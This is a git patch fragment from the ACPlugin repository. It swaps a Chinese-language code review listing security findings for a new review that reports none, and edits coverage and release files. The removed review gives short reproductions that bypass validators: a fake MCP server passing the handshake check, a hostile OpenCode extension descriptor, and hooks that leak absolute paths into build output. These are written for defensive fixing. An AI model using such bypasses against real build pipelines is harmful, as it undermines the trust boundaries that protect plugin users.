并等待 `session.closed`;共享 closeTask reject,但 `closed` 不解析且没有 closed event。 -- **最小修复:** close 使用单一 try/finally terminalizer;分别捕获 active/watcher cleanup 错误,始终停止 debounce/poller、关闭可关闭资源、设置 closed、发布一次 closed、清空 listeners 并 resolve `closed`。`close()` 是否在 terminalize 后 reject 可保留,但必须有稳定、文档化语义。 -- **是否需要架构决策:** 不需要新 ADR;需在公共 API 注释中锁定“cleanup error 与 `closed` settlement”的具体行为。 -- **修复后测试与 DoD:** active reject、watcher.close reject、两者同时失败、并发 close、信号到达初始化/active/idle 三种窗口;`closed` 总是 settle,事件恰好一次,active round仍有 complete,CLI 最终 130,无 timer/listener/watcher 残留。 - -### F-07 — [P1][Correctness] MCP stdio smoke 只查两个 `id/result`,非 MCP 程序也能通过 - -- **置信度:100%** -- **精确位置:** `packages/extensions/mcp/src/build.ts:48-90`。 -- **当前行为:** smoke 要求进程 exit 0,然后逐行 JSON.parse,并查找 `id === 1/2` 且存在 `result`。它不检查 `jsonrpc: '2.0'`、error envelope、重复/错误 ID、initialize 的 `protocolVersion/capabilities/serverInfo`,也不检查 tools/list 的 `result.tools` 数组。 -- **为什么是故障:** “本地 stdio MCP 是完整实现,并通过真实 initialize/tools/list smoke”是明确契约。当前 validator 只证明程序打印了两行带 result 的 JSON,不能证明目标平台能建立 MCP 会话。 -- **最小复现:** 创建 `server.ts`,启动后直接打印 `{"id":1,"result":{}}` 和 `{"id":2,"result":{}}` 并退出 0,不读取 stdin。通过真实 public `runProject({ command:'validate' })` 实测 `success: true, diagnostics: []`。 -- **最小修复:** 建立严格响应解析器:JSON-RPC 版本必须为 2.0;request ID 唯一且类型/值精确;不得有 error;initialize 必须返回兼容 protocolVersion、对象 capabilities 和合法 serverInfo;tools/list 必须返回 `{ tools: [...] }` 且 tool descriptor 至少满足 MCP 基本结构。多余日志需按协议允许的 channel/消息形态处理。 -- **是否需要架构决策:** 不需要;MCP handshake 已是既定要求。 -- **修复后测试与 DoD:** 当前伪程序、重复 ID、error、错误 protocolVersion、缺 capabilities/serverInfo、非数组 tools 全部失败;真实最小 SDK server 成功;timeout/output 上限和原始 stdout/stderr 脱敏保持成立。 - -### F-08 — [P2][Correctness] MCP 作者 descriptor 的运行时校验不是 exact discriminated union,且文档化 `./server.ts` 被误拒绝 - -- **置信度:99%** -- **精确位置:** `packages/extensions/mcp/src/types.ts:41-64`;`packages/extensions/mcp/src/discovery.ts:12-13,72-78,146-180`;Core 路径规则 `packages/core/src/kernel/path-policy.ts:37-52`。 -- **当前行为:** 顶层统一允许 HTTP/stdio 全部字段,transport-specific 多余字段会被静默忽略;auth 只查少数字段,不拒绝按 type 不允许的字段;development URL 只特别处理非 loopback `http:`,`ftp:` 等其他协议没有被 Extension 拒绝。公开类型注释写 stdio entry 默认 `./server.ts`,但 discovery 把显式 `./server.ts` 原样传给 Source Service,而 Core 正确拒绝 dot segment。 -- **为什么是故障:** JS、`as never`、配置反序列化或第三方生成器可绕过 TS 联合类型;Extension 边界应给出稳定、精确的 portable intersection,而不是静默丢语义。更直接地,作者照公开 API 文档显式填写合法默认值会得到 `MCP_ENTRY_MISSING`。 -- **最小复现:** `export default { transport:'stdio', entry:'./server.ts' }`,同目录实际存在 `server.ts`;真实 public validate 实测失败,唯一诊断为 `MCP_ENTRY_MISSING`。另可构造 `{transport:'http', entry:'server.ts'}` 或 `{auth:{type:'none',env:'X'}}`,当前 transport/auth-specific 多余字段不报错。 -- **最小修复:** 在 snapshot 后按 transport/auth 建立 exact runtime schema,拒绝所有互斥/未知字段;URL 只允许 production HTTPS 或 development HTTPS/loopback HTTP;在 Source Service 前将被公开允许的单个 `./` 前缀显式规范成 `server.ts`,或同步修改公开契约只接受无 `./` 的安全相对路径。 -- **是否需要架构决策:** 不需要;需选择并统一 entry 的公开拼写,但不改变架构。 -- **修复后测试与 DoD:** 覆盖 HTTP×stdio 字段交叉、auth 三分支未知字段、ftp/file/带凭据 URL、`server.ts`/`./server.ts`、dot/parent/absolute、env/header ValueSource exactness;类型测试与运行时测试同构。 - -### F-09 — [P1][Correctness] OpenCode final candidate validator 可把任意现有 Asset 当作 local MCP server 并允许额外参数 - -- **置信度:100%** -- **精确位置:** `packages/platforms/opencode/src/validator.ts:58-99`;目标契约 `.llmdoc-tmp/specs/acplugin-cross-review-remediation-spec.md:162-174`;官方输出 `packages/extensions/mcp/src/contributors/opencode.ts:24-27,60-67`。 -- **当前行为:** local command 只要求字符串数组长度至少 2、首项为 `node`、第二项解析为任意现有 workspace Asset;没有要求恰好两个元素,也没有绑定 server ID、固定 `.opencode/mcp//server.mjs`、`.mjs` 类型或 executable mode。 -- **为什么是故障:** 公开 SDK 第三方 Extension 可以占用合法 `workspace-config.mcp` point,让最终 candidate 通过,却生成目标平台必然无法作为 MCP server 执行的 wire data。Platform 是最终目标协议 owner,不能依赖官方 MCP Contributor 自律。 -- **最小复现:** 最小第三方 Extension 贡献 `{ hostile:{ type:'local', command:['node','./opencode.json','--arbitrary'] } }`,不添加任何 server Asset;Platform 自己生成的 `opencode.json` 已在候选 Asset 集中。真实 Kernel validate 实测 `success:true, diagnostics:[]`。 -- **最小修复:** 对 server `id` 要求 command 精确等于 `['node', './.opencode/mcp//server.mjs']`;对应 Asset 必须存在且为 `0755`,并拒绝额外参数和错误后缀。不要把官方 Extension owner 名硬编码进 Platform,以保留合法第三方 Contributor。 -- **是否需要架构决策:** 不需要;remediation spec 已给出精确 wire contract。 -- **修复后测试与 DoD:** 用 public `/sdk` 最小第三方 Extension 分别注入 wrong-id、任意现有 Asset、非 `.mjs`、额外 args、0644 Asset,全部在 `platform-validate` 失败;官方 MCP local fixture 继续通过。 - -### F-10 — [P1][Security] managed-rolldown deterministic 审计同时存在普通输出误拒绝与 chunk/asset 绝对路径漏检 - -- **置信度:100%** -- **精确位置:** `packages/core/src/compiler/managed-auditor.ts:177-235`;契约 `llmdoc/state/sync.md:11-13,19`、`packages/docs/ecosystem/build-service.md:17-27`。 -- **当前行为:** deterministic 分支只对 chunk code 搜索每个完整 physical module file ID;不搜索 project/source/package/work/temp 根,也完全不扫描 emitted asset bytes。普通未压缩 Rolldown 输出含 `//#region `,因此最小 deterministic job 被误拒;设置 `minify:true` 去掉该注释后,Plugin 在 `renderChunk` 注入 project root、在 `generateBundle` 发出同内容 asset,二者都通过。 -- **为什么是故障:** 该 public policy 既不能作为可用的确定性模式,也不能实现“稳定输出无绝对/临时路径”的安全边界。第三方 Integration 在完全受支持的 render/generate hooks 内即可把机器路径写进最终 GeneratedAssetRef。 -- **最小复现:** 实测同一最小 managed job:`deterministic:true,minify:false` 返回 `Managed Rolldown deterministic output contains an absolute source path`;改为 `minify:true` 并在 render/asset 注入临时工程根,编译成功,`main.mjs` 与 `leak.txt` 均 `containsRoot:true`。 -- **最小修复:** deterministic profile 必须先禁止或规范 Rolldown 自带的物理 ID 注释,而不是要求调用方 minify;随后对所有输出 bytes(chunk 和 asset)扫描 Core 已知的 project/source/package/work/temp roots及平台路径形式。审计 marker 至少应包含根而非仅完整文件名。若短期无法给出可证明语义,应暂时移除/拒绝 public `deterministic:true`,不要保留误导性半实现。 -- **是否需要架构决策:** 保留既定能力时不需要;若删减/改义 public policy,需要 SDK 级决策记录。 -- **修复后测试与 DoD:** 未压缩、压缩、renderChunk、generateBundle string/Uint8Array asset、source map、Windows/POSIX path、project/work/package root 全覆盖;普通 deterministic build 成功,任一输出字节含受保护物理根均失败,报告仍不泄漏路径。 - -### F-11 — [P2][Correctness] Extension build 失败会被扩散成每个目标 Platform 的 contribution failure - -- **置信度:100%** -- **精确位置:** `packages/core/src/kernel/build-session.ts:729-778,800-810`;`packages/core/src/resources/extension-provider.ts:323-365`。 -- **当前行为:** build 失败的 Extension 不进入 `built[]`,但其 consumer plan 仍保留;`projectHasErrors()` 明确忽略 extension-owned errors,所以每个 Platform 继续 collect。`collectExtensionContributions()` 找不到 Built State 后抛错,外层再记录 `PLATFORM_CONTRIBUTION_FAILED`。 -- **为什么是故障:** 单一 Extension compile 错误被错误归因给所有消费 Platform,污染 phase/owner,降低多平台诊断可操作性,也可能掩盖真正独立的 Platform contribution error。它不是安全隔离所需复杂度,而是 stage 状态没有收敛。 -- **最小复现:** 一个 Extension validate 成功、build 抛错并声明 OpenCode contributor;真实 Kernel report 同时产生 `EXTENSION_BUILD_FAILED` 和 `PLATFORM_CONTRIBUTION_FAILED`。增加多个 Platform 时会线性扩散。 -- **最小修复:** build 失败后从 contribution collection 中剔除该 Extension plan,或显式把 plan 标记 failed 并只跳过其 contributor;其他成功 Extension 和独立 Platform 继续执行。不要把 extension error 提升为 project-global error。 -- **是否需要架构决策:** 不需要;仍保持无序、同 base、跨 Extension 隔离。 -- **修复后测试与 DoD:** 一个失败 Extension、一个成功 Extension、两个 Platform;只出现一个 extension compile 诊断,成功 Extension 仍在两个 Platform 贡献,不出现派生 Platform error,close 仍逆序执行。 - -## 4. Architecture Matrix - -| 子系统 | 架构匹配度 | 实现完整度 | 复杂度判断 | 建议 | -| --- | --- | --- | --- | --- | -| Core / Rolldown | 高 | 中高 | 两个 profile、capability host、真实 module/license/watch graph 是合理复杂度;deterministic audit 是局部错误实现 | 保留;局部修复 F-10 | -| Core Node Runtime | 高 | 高 | auto/explicit、一次 compile、多平台同 AssetRef、capability delivery 均直接对应需求 | 保留 | -| Hooks | 高 | 高 | 作者语义结果与 wire profile 分离、单次 portable build、runner 限制和六 Contributor 已成立 | 保留;补 exact JSON 边界回归即可 | -| MCP | 高 | 中 | Core compile/execution/secret reference 方向正确;descriptor exactness 与真实 handshake 未收口 | 局部修复 F-07/F-08 | -| Claude Code | 高 | 高 | 深层 Hook/MCP validator、Plugin/Marketplace owner 均在 Platform | 保留 | -| Codex | 高 | 高 | Command/Agent fallback、Skill metadata、Hooks/MCP final validation 完整 | 保留 | -| Cursor | 高 | 高 | 原生 Components、remote MCP 与 Hook final validation 成立 | 保留 | -| Antigravity | 高 | 高 | Skill transformation、remote MCP/Hook validator 和 unsupported Runtime 明确 | 保留 | -| OpenCode | 高 | 中 | first-class workspace 和唯一 `opencode.json` 已正确;local MCP closure 可绕过 | 局部修复 F-09 | -| Pi | 高 | 高 | Prompt/Skill 转换、MCP/Runtime unsupported 且不生成伪实现 | 保留 | -| Transaction | 中高 | 中 | marker/backup/stage/swap 的必要复杂度合理,逻辑窗口大多自洽;lock 与 durability barrier 不完整 | 聚焦 crash protocol 局部重写,不重写 Package/Asset | -| DevSession | 高 | 中 | 一个 active round、coalescing、last-good+failure graph 是合理状态机;异常 terminalization 不完整 | 局部重写 error/finally 路径 | -| Lifecycle / Package | 高 | 高 | 同一 frozen base、无序 add-only merge、owner/path/field conflict、merge 后 finalize/validate 已成立 | 保留 | -| Migration | 高 | 高 | CLI 唯一动态 import;legacy 只在隔离子系统内;正常 Core/Platform/Extension 无反向 import | 保留 | -| Docs / Playground | 高 | 高 | Runtime、九包、公开 API 和 Playground 基本同构;只剩质量门与少量语义锁定 | 局部修复 | -| Release | 中 | 低 | 九包独立 tarball/peer/consumer 边界已好;版本计划与快照自动化错误 | 优先修复 F-01/F-02 | - -补充确认: - -- Runtime 自动发现只取 `src/runtime/` 一级受支持 TS/JS,显式 `runtime.entries` 完整替换自动发现;嵌套文件只通过 Rolldown graph 成为依赖;空目录无 Runtime/compatibility 噪声。 -- Runtime 只编译一次,Claude Code/Codex 通过同一 Built AssetRef 继承;其余平台只报告 unsupported,不生成伪 Runtime。 -- `@tokenroll/acplugin` 构建实际 bundle 私有 Core;release verifier 证明没有 bundle/re-export 官方 Platform/Extension,九个 tarball 无 `@acplugin/*` 运行时边。 -- Platform/Extension 正式源码通过 `@tokenroll/acplugin/sdk`;跨 tarball `Symbol.for` brand 在 clean consumer 中工作。 -- Migration 仅在 `packages/acplugin/src/cli.ts:318` 动态 import;正常路径没有 Migration 反向边。 -- `transpileModule`、Integration-local `bundler.ts/adapters.ts`、旧 Artifact/DeliveryUnit/Scanner 实现、第二 lifecycle 和 `output-paths.ts` 已从正式生产路径删除。 - -## 5. Over-design and Complexity Audit - -### 5.1 合理且应保留的复杂度 - -- **SourceRef/AssetRef + owner registry:** 这是防 forged ref、跨 owner 读取、TOCTOU、symlink/special file、case/NFC collision 的真实安全边界,不是为了类型美观制造的层级。 -- **base → unordered contributions → merged → finalize → materialize/validate:** 它同时解决扩展无顺序语义、Document point/Asset path 冲突、Platform 最终协议 owner 三个真实需求,职责清晰。 -- **portable-node / managed-rolldown 双 profile:** Runtime/Hooks/MCP 需要受限可移植 executable;第三方 Integration 需要更广 Rolldown plugin 能力。二者是两个真实用例,不应强行合并。 -- **Platform 独立 validator:** 六个公开 tarball拥有不同 wire protocol;重复少量 JSON/path helper 比把目标协议下沉 Core 更正确。 -- **事务与 Dev 状态机:** whole-output 替换、subset commit、崩溃恢复、动态 graph 和 signal drain 本身就需要状态,不应以“比 Vite 配置多”判为过度设计。 - -### 5.2 可删除或收敛的复杂度 - -- `managed-rolldown.policy.deterministic` 当前是半实现:修完整,否则 beta 阶段直接移除,不能让调用方用 minify 偶然规避误报。 -- DevSession 同时提前修改 `knownObservations/knownBuildPaths`、再异步修改 `watchedPaths`,造成三份状态不同步;应收敛为一次可测试的原子 reconcile,而不是继续堆补偿条件。 -- Release 的手工 `ecosystem-versions.json` 更新责任应由生成器消除,避免第二真相源。 -- failed Extension plan 不应继续流入每个平台的 contribution 阶段;删除这条派生路径比增加错误映射层更简单。 - -### 5.3 错误抽象与不应新增的抽象 - -- 当前没有证据表明 Core/Facade/Platform/Extension/Resource Provider 的总体分层错误;`runProject()`/`Project` 薄 facade 和 SDK `definePlatform/defineExtension` brand 工厂有清晰公共边界,不是无职责 Middle Man。 -- 不应把六平台 Hook/MCP validator 抽成 Core “通用目标协议”;只有安全路径/JSON codec/Asset ownership 属于 Core,wire schema 必须留在 Platform。 -- 不应恢复 Extension dependency graph、顺序、claim/suppress/override、跨 Extension state;当前没有两个以上真实用例,且会破坏 add-only 模型。 -- 不应把 Runtime 再包装为 descriptor/factory/Contributor/Manifest patch 或公开 Extension。 -- 不应为修复 F-11 增加第二生命周期;只需让现有 stage plan 显式收敛失败状态。 - -### 5.4 与 Nuxt/Vite、tsdown/Rolldown 类关系的判断 - -ACPlugin 比典型 Vite plugin runner 更复杂,但主要增量来自它承诺的 **多平台最终协议、owner-isolated author assets、第三方 Integration capability、全目录原子提交、严格 compatibility tuple 和持久 dev graph**。这些不是简单 bundler wrapper 会自然提供的能力,因此总体复杂度合理。真正偏离“开箱即用”的部分不是抽象数量,而是少数安全选项/异常状态机没有兑现自己的契约;修复这些局部后,无需整体重写。 - -## 6. Previous Finding Audit - -| 历史重要结论 | 当前状态 | 本轮证据 | -| --- | --- | --- | -| Transaction 缺少 pending/committed 区分,swap 后崩溃恢复歧义 | **已解决(逻辑进程崩溃层面)** | `.writing → sync → hard-link`、pending+committed 双 marker 与现有 crash-state tests 已建立;但 F-03/F-04 的 lock/durability 仍成立 | -| DevSession 尚未实现/CLI 自建 watcher | **已被新架构取代** | Core `createDevSession()` 是唯一 watcher owner,CLI 只订阅事件 | -| DevSession 初始化伪事件、sequence、listener isolation、active close 配对 | **已解决(成功路径)** | 新 untracked 测试实际通过;sequence 1、start/complete、一次 closed、并发 close identity、listener auto-remove 均有证据 | -| DevSession error/watch/close 收敛 | **仍然成立** | F-05/F-06 | -| 五个平台只验证 sidecar 引用、不验证完整 wire | **大部分已解决** | Claude/Codex/Cursor/Antigravity 深层 validator 和 hostile fixtures 已存在;OpenCode local closure 仍有 F-09 | -| OpenCode MCP 生成错误 sidecar/与 workspace config 不同构 | **已解决** | 官方 Contributor 只写 `workspace-config.mcp`,最终生成唯一 `opencode.json` | -| Runtime 被实现为 Extension/descriptor/factory | **已被新架构取代** | Core Framework Resource、固定 owner、一次 portable compile、capability delivery 已成立 | -| Hooks/MCP 自建 bundler/adapters | **已解决** | 旧文件删除,二者调用同一 Core portable-node/Execution/License 基础设施 | -| 主包 bundle/re-export 官方 Integration,公开包泄漏 `@acplugin/*` | **已解决** | 九 tarball release verify 和 clean consumer 通过 | -| SDK brand 跨独立 tarball 不工作 | **已解决** | 共享 `Symbol.for(...apiVersion)`,clean consumer 实际通过 | -| parseAst 顶层加载、Migration 污染正常启动 | **已解决** | Migration 是 CLI dynamic chunk;正常 Core/Platform/Extension 无 import | -| OpenCode/Runtime/发行文档仍描述旧 Adapter/DeliveryUnit/Runtime Extension | **已被新架构取代/基本解决** | 正式架构文档明确当前模型;旧词只在历史/legacy 语境出现时不构成 Finding | -| 发行 consumer、peer rewrite、版本快照未建立 | **部分解决** | tarball/peer/consumer 和当前快照验证已通过;beta Changeset 与 version 后 snapshot 更新仍为 F-01/F-02 | -| `@iarna/toml` eval warning、VitePress chunk warning | **误报(缺少实际故障)** | 当前构建/文档/consumer 全通过,本轮无新影响证据 | - -## 7. Test and Verification Gaps - -这些是现有质量门通过后仍未覆盖的关键缺口;其中已能产生确定故障的部分已升级为 Findings: - -1. Transaction 没有 empty/truncated lock、write/sync/close/rm lock failure、活/死 PID race、marker final truncation/mismatch、backup/marker 删除失败及 parent fsync barrier 的完整 fault model。 -2. Transaction 现有 phase injection 是同进程 throw+rollback,不等价于进程被杀或目录项持久化重排;需要 subprocess/crash-state tests。 -3. DevSession 没有 watcher `unwatch/add/getWatched/close` rejection/timeout、active reject、`unhandledRejection`、并发 close failure 测试。 -4. `DevSession.current` 在旧 Kernel spec(最近完成轮,包括失败)与较新 remediation spec/实现(最近成功或首轮失败)之间冲突。当前实现遵循较新规则,但公共类型没有写明;应先锁定语义,再加 success→failure→recovery 测试。本轮不把实现本身判为 Finding。 -5. MCP smoke 没有负向 JSON-RPC/MCP shape matrix;现有“正常 server”用例不足以证明 handshake。 -6. MCP descriptor 没有 transport/auth exact union、协议 scheme 和显式 `./server.ts` 回归。 -7. managed deterministic tests 当前为零;应覆盖 Rolldown region comments、chunk/asset bytes、root variants 和 minify/non-minify。 -8. OpenCode hostile fixture已有 malformed escape,但没有“指向任意已存在 Asset”和额外 args;本轮 public-style Kernel fixture已证明绕过。 -9. Extension build failure没有断言不产生派生 Platform diagnostics。 -10. `packages/core/src/compiler/portable-policy.ts:6-7` 的 builtin allowlist来自执行构建的宿主 Node,而产物契约是 Node 20。当前没有找到可稳定复现的 Node 22-only builtin反例,因此不列 Finding;应在 Node 20 job对每个允许 external 做真实 import/execute closure。 -11. 当前本地 `release:verify` 在 Node 22 运行;workflow 的 Node 20 consumer设计正确,但本轮未在本机切换 Node 20 重跑。该项应继续由 CI Verify job守卫。 - -## 8. Recommended Fix Order - -### Phase 0 — 立即冻结错误发行路径 - -- **Scope:** F-01、F-02;移出 stable promotion Changeset,确定 beta prerelease 规则,增加版本快照 generator/check。 -- **Non-goals:** 不 publish、不创建 tag/release、不统一九包版本、不引入 fixed group。 -- **测试:** changeset status、Patch 临时副本演练、lint/typecheck、diff check、release:verify。 -- **DoD:** 不可能由当前 Patch 产生稳定 1.0;version PR 自动同步 snapshot;所有当前质量门通过。 - -### Phase 1 — 修复输出完整性协议 - -- **Scope:** F-03、F-04;锁的原子发布/owner、目录 durability barrier、完整 persistent crash matrix。 -- **Non-goals:** 不重写 AssetRegistry、PackageUnit、candidate materialization 或 subset semantics。 -- **测试:** 子进程 kill + FS fault injection 覆盖每个 marker/link/rename/unlink/fsync/cleanup 窗口。 -- **DoD:** 活 writer 不被抢占;死/截断锁自动安全恢复;未 committed 永远回到旧完整输出;durable committed 永远保留新完整输出;无人工删除内部文件要求。 - -### Phase 2 — 让 DevSession 所有路径到达可观察终态 - -- **Scope:** F-05、F-06;原子 watcher reconcile、round error report、close finally terminalizer、CLI signal error path。 -- **Non-goals:** 不增加第二 watcher、跨 round cache或 Integration watcher hook。 -- **测试:** watcher API fault matrix、active failure、并发 close、listener failure、SIGINT/SIGTERM 三窗口、current 语义回归。 -- **DoD:** 每个 start 有且仅有一个 complete;closed 恰好一次且 Promise 必 settle;无 unhandled rejection/悬挂 handle;last-good 输出/graph恢复成立。 - -### Phase 3 — 收紧 Core build 与 MCP/Platform 信任边界 - -- **Scope:** F-07、F-08、F-09、F-10。 -- **Non-goals:** 不把目标 wire 下沉 Core;不新增第三套 compiler profile;不限制合法第三方 Contributor 只能来自官方包。 -- **测试:** managed chunk/asset绝对路径矩阵、真实 MCP handshake负例、descriptor exact union、OpenCode public SDK hostile fixture。 -- **DoD:** deterministic 普通 build可用且所有 bytes 无物理根;伪 MCP失败;作者文档化 entry成功;OpenCode只接受固定 local bundle closure;官方六平台输出继续通过。 - -### Phase 4 — 清理派生诊断并完成最终回归 - -- **Scope:** F-11、`DevSession.current` 公共语义、历史 finding 状态与文档同步。 -- **Non-goals:** 不增加 Extension dependency/order/override 系统,不为了共用 validator 制造 Core wire abstraction。 -- **测试:** failed+successful Extensions×多 Platform、全量 commands、九 tarball clean consumer、Node 20 Verify job。 -- **DoD:** 错误 owner/phase 精确,无派生噪声;文档/类型/测试描述同一 current 语义;所有临时反例转为仓库回归测试。 - -最终统一 DoD: +以下门禁均实际通过: ```text pnpm run lint @@ -320,15 +43,59 @@ pnpm run test pnpm run build pnpm run docs:check pnpm run release:verify -git diff --check -git diff --cached --check -pnpm changeset status --output /dev/stdout ``` -除命令全部通过外,`changeset status` 还必须保持 beta,且本报告列出的 hostile/crash fixtures 必须从“错误地成功/悬挂”变为预期失败或安全恢复。 +`release:verify` 实际覆盖九个公开 tarball、发布/类型边界和 clean-consumer。 + +## Findings + +### 真实问题 + +无。P0 / P1 / P2 / P3 均为 0。 + +因此不存在需要提供最小修复、受影响包或回归测试的真实 finding。 + +## 重点核验与证据 + +- **唯一生命周期路径成立。** 主包 [`runProject()`](packages/acplugin/src/author/project.ts:22) 委托 Core;[`Project.run()`](packages/core/src/project/project.ts:184) 汇聚到唯一 [`runKernelBuildSession()`](packages/core/src/lifecycle/build-session.ts:103);[`Project.dev()`](packages/core/src/project/project.ts:198) 仅创建 Core DevSession,后者每轮继续调用同一 BuildSession。CLI pipeline 也只调用 `runProject()`,没有平行构建路径或绕过 Core 的路径。 + +- **Rolldown、watch 与事务由 Core 独占。** 全仓 `rolldown` 运行时导入仅在 Core compiler driver,`chokidar` 仅在 [`dev-session.ts`](packages/core/src/lifecycle/dev-session.ts:4)。Platform/Extension 生产源码未发现直接 bundler、watcher、`dist` 写入或私有 Core runtime 依赖。事务入口集中在 [`output/transaction.ts`](packages/core/src/output/transaction.ts:59)。 + +- **Runtime 的 owner 与单次构建正确。** [`buildNodeRuntime()`](packages/core/src/resources/runtime/provider.ts:50) 使用 Core `portable-node` Compiler Service;[`platformSupportsNodeRuntime()`](packages/core/src/resources/runtime/provider.ts:44) 仅接受 plugin-local Node 20 ESM capability。Runtime 没有被重新包装成 Extension、descriptor 或 Manifest patch。 + +- **Extension 仍为无序、add-only 能力。** [`collectExtensionContributions()`](packages/core/src/resources/extensions.ts:314) 让 Contributor 并行读取同一 frozen base snapshot,且不暴露跨 Extension state;[`mergePackageContributions()`](packages/core/src/package/registry.ts:277) 按 owner 稳定排序,拒绝 owner/path/extension-point 冲突。 + +- **Migration 保持 lazy 隔离。** 正常启动图唯一入口是 migrate command action 的动态导入:[ `migrate.ts:34`](packages/acplugin/src/cli/commands/migrate.ts:34)。正常主入口未静态导入 Migration;产物将其保留为独立 chunk。 + +- **公开包与 SDK 边界正确。** 主包仅公开 `.` 与 `/sdk`,私有 Core 被 bundle;官方 Platform/Extension 保持 peer + SDK 契约。发布边界测试明确检查主包不 bundle/re-export 官方集成且不泄漏 `@acplugin/*`:[ `package-boundaries.test.ts:72`](packages/test/test/release/package-boundaries.test.ts:72)。 + +- **测试重组未发现覆盖丢失。** 跨包 Vitest alias 已转向新领域目录:[ `packages/test/vitest.config.ts:14`](packages/test/vitest.config.ts:14)。全量测试、架构守卫、文档检查和发布验证均通过;comment coverage 中 259 个受约束文件均存在。 + +- **Core import graph 没有运行时 cycle。** 静态扫描中唯一 SCC 位于 contracts 类型层,相关边均为 `import type`,运行时会擦除;类型检查已经通过,不能作为循环依赖 finding。 + +- **旧路径和长期 shim 未残留。** 对已删除的 `kernel/`、旧 provider、旧 Platform 根实现、旧 Hook runtime 路径进行了 import 搜索;未发现产品导入残留,也未发现新领域目录中的产品源码空目录。 + +## 误报或不应实现 + +| 疑点 | 判定 | 理由 | +| --- | --- | --- | +| Platform validator 使用 `node:fs` | 误报 | 只读取 Core 物化的候选目录做最终校验,不等于获得 workDir 或 `dist` 写权限。 | +| Migration 内部使用 Core | 误报 | Migration 是 lazy chunk;禁止的是正常 CLI/Core/Platform/Extension 静态依赖 Migration,未发现该反向依赖。 | +| Core 根 export 较宽 | 不应修改 | Core 是私有 workspace 包;对外 Integration 面由主包 `/sdk` 限制,tarball 与 clean-consumer 已验证。 | +| Contracts 的 type-only SCC | 误报 | 不存在运行时初始化环,且无类型、构建或行为故障。 | +| Check workflow 未跑完整测试 | 不应作为本轮 finding | `AGENTS.md` 明确规定 Check 运行 lint/typecheck,docs 为独立 job;不能以不同流程偏好否定既定发布流程。 | +| 历史 `kernel` 术语、测试临时目录前缀 | 不应实现 | 不构成产品 import、启动路径或维护边界残留;不应为此恢复旧目录或增加 shim。 | + +## 合并建议与修复顺序 + +1. **真实问题清单:** 无。 +2. **误报或不应实现清单:** 见上节。 +3. **是否建议合并当前工作树:** 建议合并当前产品重构。 +4. **若不建议的最小修复顺序:** 不适用;无阻断修复项。 +5. **审查文档说明:** 合并前请单独确认 `review1.md` 和本 `review2.md` 是否应纳入提交;它们不影响产品重构正确性。 -## 9. Final Decision +## 对复杂度与架构初衷的最终判断 -**`NOT_READY`** +没有证据表明本次重构属于过度设计或过度拆分。文件数的增加对应可验证的真实不变量:跨平台协议、Asset owner 隔离、Extension add-only 合并、Runtime 单次构建、完整输出事务和 watch 恢复,不能由简单 bundler wrapper 自然保证。 -原因不是总体架构偏航,也不是需要推倒 Kernel v2;原因是当前仍有可复现的 release blocker、transaction crash blocker、DevSession terminal-state blocker、MCP protocol false positive、OpenCode final-validation bypass 和 managed deterministic output leak。先按 Phase 0–3 修复 P1,再完成 Phase 4 和全量 DoD,可重新评估为 `READY_WITH_NON_BLOCKING_FOLLOWUPS` 或 `READY`。 +它没有偏离“Nuxt 式框架核心拥有构建能力”的初衷:Core 仍拥有完整生命周期、Rolldown、Module/Compiler/Execution/Watch、Asset、Package merge、事务和报告;Platform 只承担目标协议转换与最终候选校验;Extension 保持横向、无序、add-only。当前无需整体重写,也不应为表面统一重新引入 Platform 通用 wire 层、Extension 依赖图或 Runtime Extension 抽象。 diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json index 8062d13..0c68f42 100644 --- a/scripts/comment-coverage.json +++ b/scripts/comment-coverage.json @@ -69,7 +69,6 @@ "packages/core/src/lifecycle/dev-session.ts", "packages/core/src/lifecycle/integration-sessions.ts", "packages/core/src/lifecycle/platform-pipeline.ts", - "packages/core/src/lifecycle/session-scope.ts", "packages/core/src/output/lock.ts", "packages/core/src/output/recovery.ts", "packages/core/src/output/transaction-files.ts", @@ -104,7 +103,8 @@ "packages/core/src/services/diagnostics.ts", "packages/core/src/services/execution.ts", "packages/core/src/services/extension-state.ts", - "packages/core/src/services/modules.ts", + "packages/core/src/services/session-scope.ts", + "packages/core/src/compiler/module-host.ts", "packages/core/src/services/sources.ts", "packages/core/src/services/watch.ts", "packages/core/src/services/work-directories.ts", From 1c169af33cf4e091a1363883a12a817b2b7aed77 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Mon, 24 Aug 2026 14:18:24 +0800 Subject: [PATCH 26/27] delete: remove the verify-release script as it is no longer needed --- .agents/skills/add-platform/SKILL.md | 1 - .agents/skills/npm-publish/SKILL.md | 41 +- .changeset/pre.json | 4 +- .github/workflows/changelog.yml | 35 + .github/workflows/check.yml | 49 -- .github/workflows/lint.yml | 25 + .github/workflows/patch.yml | 146 ---- .github/workflows/release.yml | 37 + .github/workflows/typecheck.yml | 25 + .github/workflows/verify.yml | 98 --- .husky/pre-commit | 1 - AGENTS.md | 13 +- README.md | 12 +- README.zh-CN.md | 12 +- ...0003-node-toolchain-and-runtime-support.md | 10 +- ...ode-toolchain-and-runtime-support.zh-CN.md | 10 +- llmdoc/guides/commenting.zh-CN.md | 31 - llmdoc/guides/package-code-tour.zh-CN.md | 4 +- llmdoc/guides/release.md | 91 +-- llmdoc/guides/release.zh-CN.md | 91 +-- llmdoc/index.md | 1 - llmdoc/startup.md | 2 +- llmdoc/state/sync.md | 7 +- package.json | 15 +- packages/acplugin/CHANGELOG.md | 11 + packages/acplugin/package.json | 1 - packages/acplugin/tsdown.config.ts | 3 +- packages/core/package.json | 2 +- packages/core/src/package/documents.ts | 2 +- .../core/test/package/document-codec.test.ts | 17 + packages/extensions/hooks/CHANGELOG.md | 11 + packages/extensions/hooks/package.json | 1 - packages/extensions/mcp/CHANGELOG.md | 11 + packages/extensions/mcp/package.json | 1 - packages/platforms/antigravity/CHANGELOG.md | 11 + packages/platforms/antigravity/package.json | 1 - packages/platforms/claude-code/CHANGELOG.md | 11 + packages/platforms/claude-code/package.json | 1 - packages/platforms/codex/CHANGELOG.md | 11 + packages/platforms/codex/package.json | 1 - packages/platforms/cursor/CHANGELOG.md | 11 + packages/platforms/cursor/package.json | 1 - packages/platforms/opencode/CHANGELOG.md | 11 + packages/platforms/opencode/package.json | 1 - packages/platforms/pi/CHANGELOG.md | 11 + packages/platforms/pi/package.json | 1 - .../test/architecture/architecture.test.ts | 1 - .../test/test/architecture/repository.test.ts | 90 +-- .../test/release/comment-coverage.test.ts | 81 -- pnpm-lock.yaml | 20 +- scripts/check-comments.mjs | 282 ------- 